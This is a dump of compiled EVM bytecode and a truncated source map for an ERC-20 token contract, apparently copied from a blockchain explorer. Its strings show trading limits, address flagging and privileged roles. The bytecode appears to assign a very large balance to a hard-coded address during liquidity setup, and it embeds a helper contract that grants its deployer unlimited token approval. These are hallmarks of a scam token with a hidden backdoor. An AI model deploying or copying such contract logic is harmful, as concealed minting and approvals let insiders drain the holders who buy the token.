232b760991b604482015260640162001144565b6001600160a01b0385166000908152600c602052604090205460ff1680620020bb57506001600160a01b0384166000908152600c602052604090205460ff165b80620020c5575082155b15620020de57620020d88585856200245d565b620022e3565b600080620020fa876005546001600160a01b0390811691161490565b156200218f57600b54600110620021545760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001144565b6200216086866200276a565b6200216d878787620027df565b156200217b575050620022e3565b62002187878662002887565b9150620022a7565b6005546001600160a01b038088169116036200228857600b5460011115620021fa5760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001144565b846200221b886001600160a01b031660009081526020819052604090205490565b0362002231576200222e606586620040b7565b94505b6200223b620028b7565b156200224a5750600162002277565b620022558562002b6c565b602d541562002268576200226862002bdb565b62002274878662002c29565b91505b6200228287620022ea565b620022a7565b62002294868662002c3e565b602d5415620022a757620022a762002bdb565b620022bf8787620022b98589620040b7565b62002d1d565b6000602954118015620022d0575080155b15620022e057620022e062002df4565b50505b5050505050565b6001600160a01b0381163b15620022fe5750565b6001600160a01b03811660009081526013602052604090205460ff1615620023235750565b6001600160a01b03811660009081526012602052604090205460ff16620016fb576001600160a01b03166000818152601260205260408120805460ff191660019081179091556011805491820181559091527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680180546001600160a01b0319169091179055565b620012f55b6009546001600160a01b03163314620012f55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162001144565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831660009081526020819052604090205481811015620024d75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840162001144565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600880546001600160a01b0319166001600160a01b038516179055604080516002808252606082018352600092602083019080368337019050509050308160008151811062002591576200259162003edc565b60200260200101906001600160a01b031690816001600160a01b0316815250508381600181518110620025c857620025c862003edc565b6001600160a01b039092166020928302919091018201528151620025f3916007919084019062003899565b5060008281526001602081815260408084206fd9447efacd5f9ef847fa881df8e439d080865292528084206006420a90559155600854905163a9059cbb60e01b81526001600160a01b0361100096909601868116600483015260248201939093529194169063a9059cbb906044016020604051808303816000875af115801562002681573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620022e3919062004054565b6001600160a01b038216620026ff5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162001144565b806002600082825462002713919062003f24565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600d5460ff1615620011ca57600e5415620027d357600e54811115620027d35760405162461bcd60e51b815260206004820152601b60248201527f65786365656473206f662062757920616d6f756e74204c696d69740000000000604482015260640162001144565b620011ca828262002c3e565b600060305460001480620027f35750603154155b156200280257506000620010cf565b603054600b5462002814919062003f24565b4310156200287d576000601d5460315484620028319190620040cd565b6200283d919062004094565b602f54909150620028659086906001600160a01b03166200285f8487620040b7565b6200245d565b620028728585836200245d565b6001915050620010cf565b5060009392505050565b6000601d54602b54836200289c9190620040cd565b620028a8919062004094565b90506200106d8330836200245d565b600080600560009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200290e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002934919062004074565b90506000600560009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200298c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620029b2919062004074565b9050600080600560009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801562002a0b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002a31919062004104565b506005546040516370a0823160e01b81526001600160a01b0391821660048201526001600160701b0393841695509190921692506000918616906370a0823190602401602060405180830381865afa15801562002a92573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002ab8919062003f3a565b6005546040516370a0823160e01b81526001600160a01b039182166004820152919250600091908616906370a0823190602401602060405180830381865afa15801562002b09573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002b2f919062003f3a565b9050306001600160a01b0387160362002b5d576103e862002b518483620040b7565b11965050505050505090565b6103e862002b518584620040b7565b600d5460ff16801562002b8157506000600f54115b15620016fb57600f54811115620016fb5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f662073656c6c20616d6f756e74204c696d697400000000604482015260640162001144565b603354600160a01b900460ff161562002bf057565b30600090815260208190526040902054602e548110620016fb576000601e548262002c1c919062004094565b9050620011ca816200304b565b6000601d54602c54836200289c9190620040cd565b600d5460ff1615620011ca5760105415620011ca576010546040516370a0823160e01b81526001600160a01b038416600482015230906370a0823190602401602060405180830381865afa15801562002c9b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002cc1919062003f3a565b62002ccd908362003f24565b1115620011ca5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f6620686f6c6420616d6f756e74204c696d697400000000604482015260640162001144565b6001600160a01b03831662002d835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840162001144565b6001600160a01b03821662002de75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840162001144565b6200134b8383836200245d565b43601854601b5462002e07919062003f24565b111562002e1057565b601754479081101562002e205750565b601454604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd9160048083019260209291908290030181865afa15801562002e6b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002e91919062003f3a565b601154909150600090819081908180805a90505b6019548310801562002eb657508382105b156200303c5783601a541062002ed1576000601a556200303c565b6011601a548154811062002ee95762002ee962003edc565b60009182526020808320909101546001600160a01b0316808352601390915260409091205490975060ff1662002ff1576014546040516370a0823160e01b81526001600160a01b038981166004830152909116906370a0823190602401602060405180830381865afa15801562002f64573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002f8a919062003f3a565b9550601654861062002ff1578762002fa3878b620040cd565b62002faf919062004094565b9450841562002ff1576040516001600160a01b0388169086156108fc029087906000818181858888f1935050505015801562002fef573d6000803e3d6000fd5b505b5a62002ffe9082620040b7565b6200300a908462003f24565b92505a601a80549192506000620030218362003f08565b91905055508180620030339062003f08565b92505062002ea5565b505043601b5550505050505050565b6033805460ff60a01b1916600160a01b179055602a54600090156200309857601d54602a546200307c9084620040cd565b62003088919062004094565b905062003098306001836200245d565b60285460009015620030e557601d54602854620030b69085620040cd565b620030c2919062004094565b603254603354919250620030e59183916001600160a01b039081169116620033ba565b600081620030f48486620040b7565b620031009190620040b7565b9050600060275411806200311657506000602954115b8015620031235750600081115b15620033a757603354620031429082906001600160a01b031662003734565b6008546033546040516370a0823160e01b81526001600160a01b03918216600482015260009291909116906370a0823190602401602060405180830381865afa15801562003194573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620031ba919062003f3a565b905060008060275411156200328157602954602754620031db919062003f24565b602754620031ea9084620040cd565b620031f6919062004094565b6008546033546032546040516323b872dd60e01b81526001600160a01b03928316600482015290821660248201526044810184905292935016906323b872dd906064016020604051808303816000875af115801562003259573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200327f919062004054565b505b80821115620033a4576008546033546001600160a01b03918216916323b872dd911630620032b08587620040b7565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801562003305573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200332b919062004054565b506008546040516370a0823160e01b8152306004820152620033a4916001600160a01b0316906370a0823190602401602060405180830381865afa15801562003378573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200339e919062003f3a565b620037a0565b50505b50506033805460ff60a01b191690555050565b6000620033c960028562004094565b905060006007600181548110620033e457620033e462003edc565b60009182526020822001546040516370a0823160e01b81526001600160a01b038681166004830152909116925082906370a0823190602401602060405180830381865afa1580156200343a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003460919062003f3a565b600654604051635c11d79560e01b81529192506001600160a01b031690635c11d795906200349d9086906000906007908a9042906004016200414f565b600060405180830381600087803b158015620034b857600080fd5b505af1158015620034cd573d6000803e3d6000fd5b50506040516370a0823160e01b81526001600160a01b03878116600483015260009350851691506370a0823190602401602060405180830381865afa1580156200351b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003541919062003f3a565b90506000620035518383620040b7565b6040516323b872dd60e01b81526001600160a01b03888116600483015230602483015260448201839052919250908516906323b872dd906064016020604051808303816000875af1158015620035ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620035d1919062004054565b50600081118015620035ee57506000620035ec868a620040b7565b115b156200372a57600654600780546001600160a01b039092169163e8e33700919060009062003620576200362062003edc565b600091825260209091200154600780546001600160a01b0390921691600190811062003650576200365062003edc565b6000918252602090912001546001600160a01b031662003671898d620040b7565b856000808e6200368342600962003f24565b60405160e08a901b6001600160e01b03191681526001600160a01b039889166004820152968816602488015260448701959095526064860193909352608485019190915260a484015290921660c482015260e4810191909152610104016060604051808303816000875af115801562003700573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200372691906200418d565b5050505b5050505050505050565b600654604051635c11d79560e01b81526001600160a01b0390911690635c11d7959062003770908590600090600790879042906004016200414f565b600060405180830381600087803b1580156200378b57600080fd5b505af115801562001c80573d6000803e3d6000fd5b600854604051602481018390526000916001600160a01b03169060440160408051601f198184030181529181526020820180516001600160e01b0316632e1a7d4d60e01b17905251620037f49190620041bc565b6000604051808303816000865af19150503d806000811462003833576040519150601f19603f3d011682016040523d82523d6000602084013e62003838565b606091505b5050905080620011ca5760405162461bcd60e51b815260206004820152601960248201527f5769746864726177616c206f662057455448206661696c656400000000000000604482015260640162001144565b61014780620041db83390190565b828054828255906000526020600020908101928215620038f1579160200282015b82811115620038f157825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190620038ba565b50620038ff92915062003903565b5090565b5b80821115620038ff576000815560010162003904565b60005b83811015620039375781810151838201526020016200391d565b50506000910152565b6020815260008251806020840152620039618160408501602087016200391a565b601f01601f19169190910160400192915050565b6001600160a01b0381168114620016fb57600080fd5b600080604083850312156200399f57600080fd5b8235620039ac8162003975565b946020939093013593505050565b600060208284031215620039cd57600080fd5b5035919050565b8015158114620016fb57600080fd5b60008060008060808587031215620039fa57600080fd5b843562003a0781620039d4565b966020860135965060408601359560600135945092505050565b60008060006060848603121562003a3757600080fd5b833562003a448162003975565b9250602084013562003a568162003975565b929592945050506040919091013590565b60008060006060848603121562003a7d57600080fd5b8335925060208401359150604084013562003a988162003975565b809150509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171562003ae55762003ae562003aa3565b604052919050565b600067ffffffffffffffff82111562003b0a5762003b0a62003aa3565b5060051b60200190565b600082601f83011262003b2657600080fd5b8135602062003b3f62003b398362003aed565b62003ab9565b82815260059290921b8401810191818101908684111562003b5f57600080fd5b8286015b8481101562003b8757803562003b798162003975565b835291830191830162003b63565b509695505050505050565b60006020828403121562003ba557600080fd5b813567ffffffffffffffff81111562003bbd57600080fd5b62003bcb8482850162003b14565b949350505050565b60006020828403121562003be657600080fd5b8135620010cf8162003975565b6000806040838503121562003c0757600080fd5b50508035926020909101359150565b6020808252825182820181905260009190848201906040850190845b8181101562003c595783516001600160a01b03168352928401929184019160010162003c32565b50909695505050505050565b6000806040838503121562003c7957600080fd5b823567ffffffffffffffff81111562003c9157600080fd5b62003c9f8582860162003b14565b925050602083013562003cb281620039d4565b809150509250929050565b6000806040838503121562003cd157600080fd5b823562003cde8162003975565b9150602083013562003cb281620039d4565b6000806040838503121562003d0457600080fd5b823562003d118162003975565b9150602083013562003cb28162003975565b6000806000806080858703121562003d3a57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121562003d6a57600080fd5b82359150602083013567ffffffffffffffff81111562003d8957600080fd5b62003d978582860162003b14565b9150509250929050565b6000806040838503121562003db557600080fd5b823567ffffffffffffffff8082111562003dce57600080fd5b818501915085601f83011262003de357600080fd5b8135602062003df662003b398362003aed565b82815260059290921b8401810191818101908984111562003e1657600080fd5b948201945b8386101562003e365785358252948201949082019062003e1b565b9650508601359250508082111562003e4d57600080fd5b5062003d978582860162003b14565b600181811c9082168062003e7157607f821691505b60208210810362003e9257634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526024908201527f4e6f4566666563743a2063616c6c6572206973206e6f7420746865206566666560408201526331ba37b960e11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820162003f1d5762003f1d62003ef2565b5060010190565b808201808211156200106d576200106d62003ef2565b60006020828403121562003f4d57600080fd5b5051919050565b6000815480845260208085019450836000528060002060005b8381101562003f945781546001600160a01b03168752958201956001918201910162003f6d565b509495945050505050565b82815260406020820152600062003bcb604083018462003f54565b6000602080838503121562003fce57600080fd5b825167ffffffffffffffff81111562003fe657600080fd5b8301601f8101851362003ff857600080fd5b80516200400962003b398262003aed565b81815260059190911b820183019083810190878311156200402957600080fd5b928401925b8284101562004049578351825292840192908401906200402e565b979650505050505050565b6000602082840312156200406757600080fd5b8151620010cf81620039d4565b6000602082840312156200408757600080fd5b8151620010cf8162003975565b600082620040b257634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156200106d576200106d62003ef2565b80820281158282048414176200106d576200106d62003ef2565b80516001600160701b0381168114620040ff57600080fd5b919050565b6000806000606084860312156200411a57600080fd5b6200412584620040e7565b92506200413560208501620040e7565b9150604084015163ffffffff8116811462003a9857600080fd5b85815284602082015260a0604082015260006200417060a083018662003f54565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215620041a357600080fd5b8351925060208401519150604084015190509250925092565b60008251620041d08184602087016200391a565b919091019291505056fe608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea2646970667358221220e88ec2fbe2c587c6df30087e5b582bba9c7824635fc435b96504f6a14b9bcd5964736f6c63430008110033a2646970667358221220a296daa59ed917277510c5cee2302d6d70575280f75f188d727c264b5108be2364736f6c63430008110033

Deployed Bytecode Sourcemap

27037:1641:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2998:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3786:167;;;;;;;;;;-1:-1:-1;3786:167:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;3786:167:0;1126:187:1;14548:35:0;;;;;;;;;;;;;;;;;;;1464:25:1;;;1452:2;1437:18;14548:35:0;1318:177:1;17506:104:0;;;;;;;;;;-1:-1:-1;17506:104:0;;;;;:::i;:::-;;:::i;:::-;;3265:92;;;;;;;;;;-1:-1:-1;3343:12:0;;3265:92;;19530:33;;;;;;;;;;-1:-1:-1;19530:33:0;;;;-1:-1:-1;;;;;19530:33:0;;;;;;-1:-1:-1;;;;;1870:32:1;;;1852:51;;1840:2;1825:18;19530:33:0;1685:224:1;13328:218:0;;;;;;;;;;-1:-1:-1;13328:218:0;;;;;:::i;:::-;;:::i;3959:::-;;;;;;;;;;-1:-1:-1;3959:218:0;;;;;:::i;:::-;;:::i;18895:30::-;;;;;;;;;;;;;;;;14628:27;;;;;;;;;;;;;;;;14278:24;;;;;;;;;;-1:-1:-1;14278:24:0;;;;;:::i;:::-;;:::i;19076:30::-;;;;;;;;;;;;;;;;14662:34;;;;;;;;;;;;;;;;14463;;;;;;;;;;;;;;;;13752:74;;;;;;;;;;-1:-1:-1;13809:10:0;;13823:1;-1:-1:-1;13809:15:0;13752:74;;18827:24;;;;;;;;;;;;;;;;19446:17;;;;;;;;;;;;;;;;13675:71;;;;;;;;;;-1:-1:-1;13730:10:0;;13743:1;-1:-1:-1;13675:71:0;;3182:77;;;;;;;;;;-1:-1:-1;3182:77:0;;3255:2;3299:36:1;;3287:2;3272:18;3182:77:0;3157:184:1;26483:138:0;;;;;;;;;;-1:-1:-1;26483:138:0;;;;;:::i;:::-;;:::i;17811:139::-;;;;;;;;;;-1:-1:-1;17811:139:0;;;;;:::i;:::-;;:::i;19288:24::-;;;;;;;;;;;;;;;;4183:204;;;;;;;;;;-1:-1:-1;4183:204:0;;;;;:::i;:::-;;:::i;19038:31::-;;;;;;;;;;;;;;;;18476:93;;;;;;;;;;-1:-1:-1;18476:93:0;;;;;:::i;:::-;-1:-1:-1;;;;;18549:12:0;18525:4;18549:12;;;:6;:12;;;;;;;;;18476:93;19470:17;;;;;;;;;;;;;;;;7203:20;;;;;;;;;;-1:-1:-1;7203:20:0;;;;-1:-1:-1;;;;;7203:20:0;;;17283:217;;;;;;;;;;-1:-1:-1;17283:217:0;;;;;:::i;:::-;;:::i;26398:79::-;;;;;;;;;;-1:-1:-1;26398:79:0;;;;;:::i;:::-;;:::i;19351:21::-;;;;;;;;;;;;;;;;17616:96;;;;;;;;;;-1:-1:-1;17616:96:0;;;;;:::i;:::-;;:::i;13832:86::-;;;;;;;;;;-1:-1:-1;13832:86:0;;;;;:::i;:::-;;:::i;16929:77::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;19183:30::-;;;;;;;;;;;;;;;;13149:84;;;;;;;;;;;;;:::i;18307:163::-;;;;;;;;;;-1:-1:-1;18307:163:0;;;;;:::i;:::-;;:::i;19494:29::-;;;;;;;;;;-1:-1:-1;19494:29:0;;;;-1:-1:-1;;;;;19494:29:0;;;3363:111;;;;;;;;;;-1:-1:-1;3363:111:0;;;;;:::i;:::-;-1:-1:-1;;;;;3454:18:0;3437:7;3454:18;;;;;;;;;;;;3363:111;11076:87;;;;;;;;;;;;;:::i;24682:493::-;;;;;;;;;;;;;:::i;13643:25::-;;;;;;;;;;;;;;;;10877:71;;;;;;;;;;-1:-1:-1;10940:6:0;;-1:-1:-1;;;;;10940:6:0;10877:71;;14504:37;;;;;;;;;;;;;;;;3088:88;;;;;;;;;;;;;:::i;11858:95::-;;;;;;;;;;-1:-1:-1;11858:95:0;;;;;:::i;:::-;;:::i;18210:91::-;;;;;;;;;;-1:-1:-1;18210:91:0;;;;;:::i;:::-;;:::i;26010:154::-;;;;;;;;;;-1:-1:-1;26010:154:0;;;;;:::i;:::-;;:::i;19319:25::-;;;;;;;;;;;;;;;;13239:83;;;;;;;;;;;;;:::i;7319:200::-;;;;;;;;;;-1:-1:-1;7319:200:0;;;;;:::i;:::-;;:::i;14408:23::-;;;;;;;;;;-1:-1:-1;14408:23:0;;;;-1:-1:-1;;;;;14408:23:0;;;4393:357;;;;;;;;;;-1:-1:-1;4393:357:0;;;;;:::i;:::-;;:::i;7114:19::-;;;;;;;;;;-1:-1:-1;7114:19:0;;;;-1:-1:-1;;;;;7114:19:0;;;3480:159;;;;;;;;;;-1:-1:-1;3480:159:0;;;;;:::i;:::-;;:::i;17718:87::-;;;;;;;;;;-1:-1:-1;17718:87:0;;;;;:::i;:::-;;:::i;17012:114::-;;;;;;;;;;-1:-1:-1;17012:114:0;;;;;:::i;:::-;;:::i;14099:79::-;;;;;;;;;;;;;:::i;19413:26::-;;;;;;;;;;-1:-1:-1;19413:26:0;;;;-1:-1:-1;;;;;19413:26:0;;;14590:31;;;;;;;;;;;;;;;;25506:297;;;;;;;;;;-1:-1:-1;25506:297:0;;;;;:::i;:::-;;:::i;19113:26::-;;;;;;;;;;;;;;;;18858:30;;;;;;;;;;;;;;;;26627:151;;;;;;;;;;-1:-1:-1;26627:151:0;;;;;:::i;:::-;;:::i;18932:29::-;;;;;;;;;;;;;;;;14438:18;;;;;;;;;;-1:-1:-1;14438:18:0;;;;-1:-1:-1;;;;;14438:18:0;;;26784:168;;;;;;;;;;-1:-1:-1;26784:168:0;;;;;:::i;:::-;;:::i;14007:86::-;;;;;;;;;;;;;:::i;14356:45::-;;;;;;;;;;-1:-1:-1;14356:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19379:27;;;;;;;;;;;;;;;;14309:40;;;;;;;;;;-1:-1:-1;14309:40:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19146:30;;;;;;;;;;;;;;;;18968:25;;;;;;;;;;;;;;;;3645:135;;;;;;;;;;-1:-1:-1;3645:135:0;;;;;:::i;:::-;;:::i;25870:134::-;;;;;;;;;;-1:-1:-1;25870:134:0;;;;;:::i;:::-;;:::i;18797:23::-;;;;;;;;;;;;;;;;11169:176;;;;;;;;;;-1:-1:-1;11169:176:0;;;;;:::i;:::-;;:::i;19220:29::-;;;;;;;;;;;;;;;;25216:284;;;;;;;;;;-1:-1:-1;25216:284:0;;;;;:::i;:::-;;:::i;13924:77::-;;;;;;;;;;;;;:::i;7140:21::-;;;;;;;;;;-1:-1:-1;7140:21:0;;;;-1:-1:-1;;;;;7140:21:0;;;19256:25;;;;;;;;;;;;;;;;19000:31;;;;;;;;;;;;;;;;11959:144;;;;;;;;;;-1:-1:-1;11959:144:0;;;;;:::i;:::-;;:::i;17132:145::-;;;;;;;;;;-1:-1:-1;17132:145:0;;;;;:::i;:::-;;:::i;2998:84::-;3052:13;3075:5;3068:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2998:84;:::o;3786:167::-;3869:4;2526:10;3906:32;2526:10;3922:7;3931:6;3906:8;:32::i;:::-;3947:4;3940:11;;;3786:167;;;;;:::o;17506:104::-;17560:20;:18;:20::i;:::-;17582;:26;17506:104::o;13328:218::-;13430:17;:15;:17::i;:::-;13449:9;:22;;-1:-1:-1;;13449:22:0;;;;;;;;;;;13473:9;:21;;;;13496:10;:23;13521:10;:23;13328:218::o;3959:::-;4056:4;2526:10;4095:38;4111:4;2526:10;4126:6;4095:15;:38::i;:::-;4135:27;4145:4;4151:2;4155:6;4135:9;:27::i;:::-;4171:4;4164:11;;;3959:218;;;;;;:::o;14278:24::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14278:24:0;;-1:-1:-1;14278:24:0;:::o;26483:138::-;11671:9;;-1:-1:-1;;;;;11671:9:0;2526:10;11671:25;;:52;;-1:-1:-1;10940:6:0;;-1:-1:-1;;;;;10940:6:0;2526:10;11700:23;11671:52;11663:101;;;;-1:-1:-1;;;11663:101:0;;;;;;;:::i;:::-;;;;;;;;;26573:2:::1;:8:::0;;;;26583:2:::1;:8:::0;26593:11:::1;:26:::0;;-1:-1:-1;;;;;;26593:26:0::1;-1:-1:-1::0;;;;;26593:26:0;;::::1;::::0;;;::::1;::::0;;26483:138::o;17811:139::-;17872:20;:18;:20::i;:::-;17899:6;17894:55;17910:4;:11;17908:1;:13;17894:55;;;17928:19;17939:4;17944:1;17939:7;;;;;;;;:::i;:::-;;;;;;;17928:10;:19::i;:::-;17922:3;;;;:::i;:::-;;;;17894:55;;;;17811:139;:::o;4183:204::-;4271:4;2526:10;4308:64;2526:10;4324:7;4361:10;4333:25;2526:10;4324:7;4333:9;:25::i;:::-;:38;;;;:::i;:::-;4308:8;:64::i;17283:217::-;17384:20;:18;:20::i;:::-;17406:19;:42;;;;17450:22;:48;17283:217::o;26398:79::-;11671:9;;-1:-1:-1;;;;;11671:9:0;2526:10;11671:25;;:52;;-1:-1:-1;10940:6:0;;-1:-1:-1;;;;;10940:6:0;2526:10;11700:23;11671:52;11663:101;;;;-1:-1:-1;;;11663:101:0;;;;;;;:::i;:::-;26457:12:::1;:18:::0;26398:79::o;17616:96::-;17666:20;:18;:20::i;:::-;17688:16;:22;17616:96::o;13832:86::-;13874:26;:24;:26::i;:::-;13902:10;:14;13832:86::o;16929:77::-;16971:16;16997:7;16990:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16990:14:0;;;;;;;;;;;;;;;;;;;;;;16929:77;:::o;13149:84::-;13180:17;:15;:17::i;:::-;13203:9;;;;13199:32;;;13214:9;:17;;-1:-1:-1;;13214:17:0;;;13199:32;13149:84::o;18307:163::-;10853:13;:11;:13::i;:::-;18389:6:::1;18384:79;18400:4;:11;18398:1;:13;18384:79;;;18432:19;18440:4;18445:1;18440:7;;;;;;;;:::i;:::-;;;;;;;18449:1;18432:7;:19::i;:::-;18412:3:::0;::::1;::::0;::::1;:::i;:::-;;;;18384:79;;;;18307:163:::0;;:::o;11076:87::-;10853:13;:11;:13::i;:::-;11131:30:::1;11158:1;11131:18;:30::i;24682:493::-:0;24761:16;;24743:15;;:34;;;;:::i;:::-;24725:15;:52;24824:16;;24806:15;;:34;;24824:16;24806:34;:::i;:::-;24788:15;:52;24885:15;;24868:14;;:32;;24885:15;24868:32;:::i;:::-;24851:14;:49;24937:11;;24924:10;;:24;;24937:11;24924:24;:::i;:::-;24911:10;:37;25024:10;;25007:14;;24989:15;;24971;;:33;;24989:15;24971:33;:::i;:::-;:50;;;;:::i;:::-;:63;;;;:::i;:::-;24959:9;:75;25114:11;;25096:15;;25077:16;;25058;;:35;;25077:16;25058:35;:::i;:::-;:53;;;;:::i;:::-;:67;;;;:::i;:::-;25045:10;:80;;;25145:9;;:22;;25045:80;25145:22;:::i;:::-;25136:6;:31;24682:493::o;3088:88::-;3144:13;3167:7;3160:14;;;;;:::i;11858:95::-;11909:20;:18;:20::i;:::-;-1:-1:-1;;;;;11931:16:0;;;;;;;;:9;:16;;;;;:20;;-1:-1:-1;;11931:20:0;;;;;;;;;;11858:95::o;18210:91::-;10853:13;:11;:13::i;:::-;-1:-1:-1;;;;;18277:12:0;;;::::1;;::::0;;;:6:::1;:12;::::0;;;;:16;;-1:-1:-1;;18277:16:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18210:91::o;26010:154::-;11671:9;;-1:-1:-1;;;;;11671:9:0;2526:10;11671:25;;:52;;-1:-1:-1;10940:6:0;;-1:-1:-1;;;;;10940:6:0;2526:10;11700:23;11671:52;11663:101;;;;-1:-1:-1;;;11663:101:0;;;;;;;:::i;:::-;26130:31:::1;::::0;-1:-1:-1;;;26130:31:0;;26155:4:::1;26130:31;::::0;::::1;1852:51:1::0;26094:68:0::1;::::0;26110:6;;26118:10;;-1:-1:-1;;;;;26130:16:0;::::1;::::0;::::1;::::0;1825:18:1;;26130:31:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;13239:83::-:0;13269:17;:15;:17::i;:::-;13293:9;;;;13288:32;;13304:9;:16;;-1:-1:-1;;13304:16:0;13316:4;13304:16;;;13239:83::o;7319:200::-;7419:6;;:45;;-1:-1:-1;;;7419:45:0;;7385:7;;;;-1:-1:-1;;;;;7419:6:0;;;;:20;;:45;;7440:12;;7454:9;;7419:45;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;7419:45:0;;;;;;;;;;;;:::i;:::-;7395:69;;7487:1;7470:7;:14;:18;7466:41;;;7497:7;7505:1;7497:10;;;;;;;;:::i;:::-;;;;;;;7490:17;;;7319:200;;;:::o;7466:41::-;-1:-1:-1;7516:1:0;;7319:200;-1:-1:-1;;7319:200:0:o;4393:357::-;4486:4;2526:10;4486:4;4550:25;2526:10;4567:7;4550:9;:25::i;:::-;4523:52;;4605:15;4585:16;:35;;4577:85;;;;-1:-1:-1;;;4577:85:0;;14584:2:1;4577:85:0;;;14566:21:1;14623:2;14603:18;;;14596:30;14662:34;14642:18;;;14635:62;-1:-1:-1;;;14713:18:1;;;14706:35;14758:19;;4577:85:0;14382